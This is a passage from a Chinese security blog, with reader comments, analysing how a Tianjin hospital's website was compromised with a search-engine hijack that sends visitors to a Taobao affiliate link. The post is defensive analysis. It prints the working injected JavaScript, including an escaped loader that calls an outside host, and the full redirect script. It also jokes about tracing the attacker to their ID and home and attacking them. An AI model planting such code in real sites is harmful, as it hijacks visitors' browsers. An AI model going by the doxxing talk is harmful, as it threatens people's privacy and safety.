大清早的,随手戳了一家医院的网址(具体理由不便叙述):

核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程!

天津丽人女子医院/天津丽人医院,www.lr16.com

然后呢:

核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程!

(核总深入分析:其实这里有个很有意思的小插曲,具体见底下……)

纳尼???What The Fuck???跳转了???淘宝客????(淘宝客ID:mm_32778753_0_0

Holy Shit! 看来这家医院主站被非法劫持了,而且还挂了淘宝客……

八嘎!太岁头上动土!核总不蛋定了!职业病犯了!操家伙上!扒开他的三角裤!仔细观详他的小JJ……(谁让你不幸碰上核总了呢……)

花了两分钟进行了简单的分析,具体过程不叙述了(经验),结果如下:

在该站首页中发现如下代码:

核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程!

<script language="JavaScript" type="text/javascript" src="/js/function.js"></script>

八嘎!又是“/js/function.js”,能换点新花样吗?敢不敢换个文件插?插代码手法千篇一律啊(黑帽搜索引擎劫持),亲!

(核总深入分析:可以检查“/js/function.js”的最后修改时间,然后检查 IIS 日志,精确提取该时间之后第一个访问“/js/function.js”的IP,100%为该熊孩纸IP地址,为什么呢?动机很简单嘛,你修改了个文件,自己肯定要去访问看看是否执行成功?很遗憾,那你就是该修改时间之后第一个或第二个访客了,再根据IP查对应的宽带账号,可获得宽带账号、电话号码、身份证、户口本若干,上门砍人……,其实嘛,对公安来说,有了时间戳+IP就等于有了身份证+户口本,抓你很简单……)

(核总深入分析:/js/function.js,通过 HTTP Header 获得该文件最后修改时间为:Last-Modified: Mon, 13 Aug 2012 17:23:46 GMT,北京时间:2012年8月14日 01:23:46 星期一,真是够久了……)

很好,继续跟踪 /js/function.js:

核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程!

Soga,不出所料,在该文件末端发现熊孩子的小裤裤了……

if(document.cookie.indexOf('20120811')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='20120811=Yes;path=/;expires='+expires.toGMTString();document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%71%75%36%37%2E%63%6F%6D%2F%61%64%73%2E%70%68%70%3F%69%64%3D%32%30%31%32%30%38%31%31%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%3C%2F%73%63%72%69%70%74%3E'));}

代码功能很简单,设置cookie判断,24小时只执行一次(24*60*60*1000)。

不过,貌似关键的部分,貌似上了贞操带,加锁了!

这种简单的原始锁具,怎么能挡住核总呢,是吧?核总怎么会告诉你:如此这般……嗯、哈、嘿……

<script src="http://qu67.com/ads.php?id=20120811" type="text/javascript"></script>

哟嘻,砸开贞操锁,看到熊孩纸的小JJ了,仔细端详一番……

(核总深入分析:我很好奇,为毛在 Cookie 和参数中均使用“20120811”做判断?莫非这段数字对这熊孩纸有着神马特殊意义?程序版本号?还是熊孩纸在这天成年了?哦呵~呵呵呵~)

核总深入分析:其实吧,谷歌一下“qu67.com/ads.php”,你就会发现很多信息,而且“历史悠久”,这表示什么?如果想要该广告地址长期存活的话(现在有很多挂马或黑帽使用已被入侵的站点做“病毒源”,防止追踪反查、过杀软),该域名一定是【自己长期可控】的,这意味着神马?还没明白么?这说明域名极有可能是他自己的!)

(核总深入分析:哦~呵~呵呵呵~核总怎么会告诉你:百度、谷歌一下,看看网站历史快照,可能有站长信息哟,说不定还有熊孩纸QQ哦~ 核总又怎么会继续告诉你:Whois域名注册信息IP反查机房/ISP信息,哦~呵~呵呵呵~,查获一公斤身份证、户口本,上门砍人哟,亲~ 这里核总就不爆你私人信息了……)

继续跟踪:

//http://qu67.com/ads.php?id=20120811

if ("undefined"==typeof(reObj)) { reObj=[]; reObj.platF=navigator.platform.toString().toLowerCase(); reObj.appVer=navigator.userAgent; reObj.refer=document.referrer; reObj.domain=document.domain; reObj.appVerStr=reObj.appVer.toLowerCase(); reObj.win=window; reObj.yOs=function() { var osInfo=""; var fSys=new RegExp("(NT 5.2)|(NT 5.0)","i"); var fBrowser=new RegExp("(firefox)|(alexa)","i"); try{ osInfo=reObj.appVer.match(/Windows NT \d.\d/i).toString().toLowerCase();} catch(e) {} if (fSys.test(osInfo) || fBrowser.test(reObj.appVer) || reObj.platF=="x11" || reObj.platF.indexOf("linux")>-1) return false; return true;}; reObj.isIE678=function(){var chkIEReg=new RegExp("(MSIE 8.0)|(MSIE 6.0)|(MSIE 7.0)","i");if (chkIEReg.test(reObj.appVer)) return true;return false;};reObj.noPluginDev=function(notIeCore){if (!notIeCore) return true;var regPlugin=new RegExp("(google)|(firefox)","i"); try { for (i=0;i<navigator.plugins.length;i++) { if (regPlugin.test(navigator.plugins[i].name)) return false;}} catch (e){} return true;}; reObj.notIE=function(){ if (window.ActiveXObject) return false; return true;}; reObj.tRefer=function(){ var goRefers=new RegExp("(www.baidu.c)|(image.baidu.c)|(www.google.c)|(www.soso.c)|(wenwen.soso.c)|(www.sogou.c)|(www.youdao.c)|(cn.bing.c)|(www.yahoo.c)","i"); if (goRefers.test(reObj.refer)) return true; return false;}; reObj.getQuery=function(name,url){ var reg=new RegExp("(^|\\?|&)"+ name +"=([^&]*)(\\s|&|$)","i"); if (reg.test(url)) return RegExp.$2.replace(/\+/g," "); return "";}; reObj.getReferHost=function(){ if(reObj.refer) return reObj.refer.split("/")[2]; return "";}; reObj.getKwd=function(){ var rf_domain=reObj.getReferHost(); var qKwd=new RegExp("(www.youdao.c)|(www.google.c)|(www.yahoo.c)|(cn.bing.c)","i"); var key=""; if(rf_domain=="www.baidu.com" || rf_domain=="image.baidu.com"){ key=reObj.getQuery("wd",reObj.refer); if (key=="") key=reObj.getQuery("word",reObj.refer); key=key +"//b";}else if(rf_domain=="www.soso.com" || rf_domain=="wenwen.soso.com"){ key=reObj.getQuery("w",reObj.refer); key=key +"//s";}else if(rf_domain=="www.sogou.com"){ key=reObj.getQuery("query",reObj.refer); key=key +"//g";}else if(qKwd.test(rf_domain)){ key=reObj.getQuery("q",reObj.refer); key=key +"//o";}else{ key="";} return key;}; reObj.getBsKwd=function(){ var rf_domain=reObj.getReferHost(); var bsKwd=new RegExp("(www.baidu.c)|(www.soso.c)","i"); if(bsKwd.test(rf_domain)) return reObj.getQuery("bs",reObj.refer); return "";}; reObj.normalKwd=function(KeyStr,bsKeyStr){ var notKwds =new RegExp("(site)|(link)|(domain)|(in)|(www)|(http)|(%22)","i"); var keyObj  =new RegExp(KeyStr,"i"); var bskeyObj  =new RegExp(bsKeyStr,"i"); if (KeyStr != "" && bsKeyStr !="") { if (notKwds.test(KeyStr+""+bsKeyStr) || keyObj.test(reObj.domain) || bskeyObj.test(reObj.domain)) { return false;} else { return true;}} else if(KeyStr != "") { if (notKwds.test(KeyStr) || keyObj.test(reObj.domain)) { return false;} else { return true;}} else return false;}; reObj.wdOpen=function(lochref,isParent){ if (isParent) { try { reObj.win.opener.location=lochref;} catch(e) { try { reObj.win.opener.navigate(lochref);} catch(e2) { try { reObj.win.opener.opener.navigate(lochref);} catch(e3) {}}}} else reObj.win.location.replace(lochref);}; reObj.getcookie=function(sName) { var aCookie=document.cookie.split("; "); for (var i=0; i < aCookie.length; i++) { var aCrumb=aCookie[i].split("="); if (sName==aCrumb[0]) return unescape(aCrumb[1])} return ""}; reObj.getCkExpires=function(sName) { var aCookie=document.cookie.split("; "); for (var i=0; i < aCookie.length; i++) { var aCrumb=aCookie[i].split("="); if (sName==aCrumb[0]) return unescape(aCrumb[1])} return ""}; reObj.setcookie=function(sValue) { date=new Date(); date.setDate(date.getDate() + 7); document.cookie="W3LOOSEDTD=" + escape(sValue) + "; expires=" + date.toGMTString() + ";path=/";}; reObj.markGo=function(){ if (reObj.getcookie("W3LOOSEDTD")=="") return true; return false;}; if (reObj.yOs()) { var refKwd=reObj.getKwd(); var whichS; if (refKwd=="") { whichS="null";} else { whichS=refKwd.split("//")[1]; refKwd=refKwd.split("//")[0];} var refBsKwd=reObj.getBsKwd(); if (reObj.tRefer()) { if (reObj.normalKwd(refKwd,refBsKwd)) { if (reObj.markGo()) {var notIeCore = reObj.notIE();if (reObj.noPluginDev(notIeCore)) {reObj.setcookie("ECIHOOOCADGFBNLABBEFMIIG");var ggUrl="http://getquerys.googlecode.com/svn/branches/navigator.html?q=";if (notIeCore) reObj.wdOpen(ggUrl + refKwd,notIeCore);else if(reObj.isIE678()) reObj.wdOpen("http://wprovide.com/movie.php?s="+ whichS +"&b="+ encodeURIComponent(refBsKwd) +"&q="+ encodeURIComponent(refKwd),notIeCore);else reObj.wdOpen(ggUrl + refKwd,notIeCore);}}}}} reObj.setcookie("ECIHOOOCADGFBNLABBEFMIIG");}

嗯,一段判断搜索引擎来路跳转的代码,具体不讲了,最终会跳到我们一开始看到的图片中的地址,也就是:

http://getquerys.googlecode.com/svn/branches/navigator.html?q=%E5%A4%A9%E6%B4%A5%E4%B8%BD%E4%BA%BA%E5%A5%B3%E5%AD%90%E5%8C%BB%E9%99%A2

哟嘻,该地址最终输出跳转到淘宝的代码(淘宝客):

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>淘宝网特卖频道 - 每日低价商品抢购中!</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<div style="display:none;">
<script src="http://s22.cnzz.com/stat.php?id=4549210&web_id=4549210" language="JavaScript"></script>
<script language="JavaScript">function getQuery(name,url){ var reg = new RegExp("(^|\\?|&)"+ name +"=([^&]*)(\\s|&|$)", "i"); if (reg.test(url)) return RegExp.$2.replace(/\+/g, " "); return ""; } var UrlPara=getQuery("q", window.location).toString(); if (UrlPara=="") UrlPara="%B1%A3%BD%A1%C6%B7"; window.location="http://s8.taobao.com/search?q="+ UrlPara +"&commend=all&pid=mm_32778753_0_0";</script> 
</div>
</body>
</html>

至此,将各部分实现功能整合一下,完整的为:插入一段搜索引擎劫持代码,从搜索引擎点过来,第一次访问(通过cookie判断)会被劫持到淘宝客,淘宝客ID:mm_32778753_0_0

Soga,把玩熊孩纸的小JJ完毕……

还记得核总一开始说的很有意思的小插曲吗?哦~呵~呵呵呵~

核总深入分析: 

开始的时候有个小插曲,很有意思,估计开始就有人发现了,哈哈,跳转后的页面居然直接输出 Html 源码(见第二张图),没有执行……

Holy Shit! 这无疑对这熊孩纸是个沉重的打击(修复该缺陷,收入可翻几倍),学艺不精啊,孩纸!(没事学人家做什么淘宝客)

很多人不明白(包括很多白帽子也不明白,作为一个白帽子,居然对HTTP协议不熟悉?无耻啊!无耻啊!),核总在这里简单的讲一下……

熊孩纸在这里利用的googlecode输出广告代码,结果出了一点小问题:

核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程!

看到木有?神马没看到???孩纸,那么大的红色矩形,你跟我说你没看到??WTF……

googlecode输出的 HTTP HeaderContent-Type 格式为:text/plain,这表示服务器输出的内容为“无格式正文”,其结果便是浏览器不做任何解译处理(不执行),直接显示源码!

更有意思的地方来了,以此推测,熊孩纸自己对这种现象也不知情,这表示在熊孩纸那里这段代码是正常执行的,哦~呵~呵呵呵~

核总淫荡一笑,必有大事发生!

有什么样的浏览器会不理 Content-Type 的值呢?恐怕除了 IE 6.0 这个奇葩之外,没有主流浏览器会这么干!

为什么这么说呢,IE 6.0 有个奇葩缺陷,无论服务器输出什么内容类型,都会尝试去执行,甚至是 image/gif, image/jpeg 都会尝试执行(纯图片格式)!

所以,在 IE 6 盛行的那个年代,经常有很多熊孩纸,把 .html 黑页后缀改成 .jpg,然后找一堆网站,上传图片,然后得到“黑页”地址,拿出去炫耀……

囧rz,核总一口老血喷到屏幕上……

据此断定该熊孩纸使用的浏览器为 Internet Explorer 6.0,操作系统:Windows XP……

兔美酱

兔美酱的目光又变得犀利起来:终于找到你了,平田君!

熊吉君

lol~~~

抓包日志下载:

Packet_Log_HttpAnalyzerStdV6.rar

后记:

已通知这家医院负责人,进行处理……

留言评论(旧系统):

日月 @ 2013-04-19 11:21:19

每次看核总爆菊总是很兴奋

本站回复:

看人爆菊,你口味真重…… -_-|||

佚名 @ 2013-04-19 12:19:40

每次看到比我口味重的人我都特别兴奋

本站回复:

O__O"…

小二货 @ 2013-04-19 14:04:22

核总威武 有时间上我们医院也帮找找错误

本站回复:

付费么? lol...

test @ 2013-04-19 15:58:50

感觉核总能做个系列了 核总带你查水表专业打击黑产

本站回复:

╮(╯_╰)╭……

泥煤 @ 2013-04-19 20:36:12

你妹啊,你以前不是做黑帽WOW的吗,还曝光,还要不要别人吃饭。

本站回复:

黑帽你妹,哦~呵~呵呵呵~

佚名 @ 2013-04-20 00:50:04

我想看核总来篇Linux 的反爆菊花。。

本站回复:

没问题,啥时候碰到了并且有时间的话,写点出来。另外,关于web追踪,不分系统。

mOon @ 2013-04-22 17:32:21

一个曾经搞黑的人 。。。。贼喊抓贼。。。。。

本站回复:

孩纸,懒得回……

wolf @ 2013-04-22 20:24:19

大清早的,随手戳了一家医院的网址(具体理由不便叙述) 求原因 难道是。。。

本站回复:

恭喜你猜对了……

佚名 @ 2013-04-25 14:41:44

无意间进到核总的网站,感觉内容真心给力啊。话说,我留个言支持下不会被核总爆出人肉信息吧?

本站回复:

无需人肉,IP + 时间戳 = 户口本 + 身份证 = 上门砍人,http://lcx.cc/?i=3422

佚名 @ 2013-05-11 03:33:56

什么病毒,我这边打开百度都会出现这个googlecode 纯代码,偶尔会转到淘宝...

本站回复:

呃?

accexp @ 2013-07-07 17:27:43

感谢核总,要不然我猴年马月才发现这么个木马!

本站回复:

木马?好吧……

佚名 @ 2013-07-28 22:36:26

核总,威武!!! 就是不知道二哥什么时候威武下!

本站回复:

二哥一直在犯二,从未被超越……

佚名 @ 2014-11-10 20:55:14

妈了逼的

本站回复:

So?

假核攻击 @ 2015-10-05 23:15:33

核总,关注你很久,现在你的站很少更新文章了,这种原创基本没有。怎么回事啊,像我们这种小朋友很喜欢看,更喜欢核总原创文章,核总,威武,雄起,继续更新.....

本站回复:

首先,感谢您一直以来的支持!原因主要如下: 1、个人精力、时间有限 2、国家政策变动(你懂的)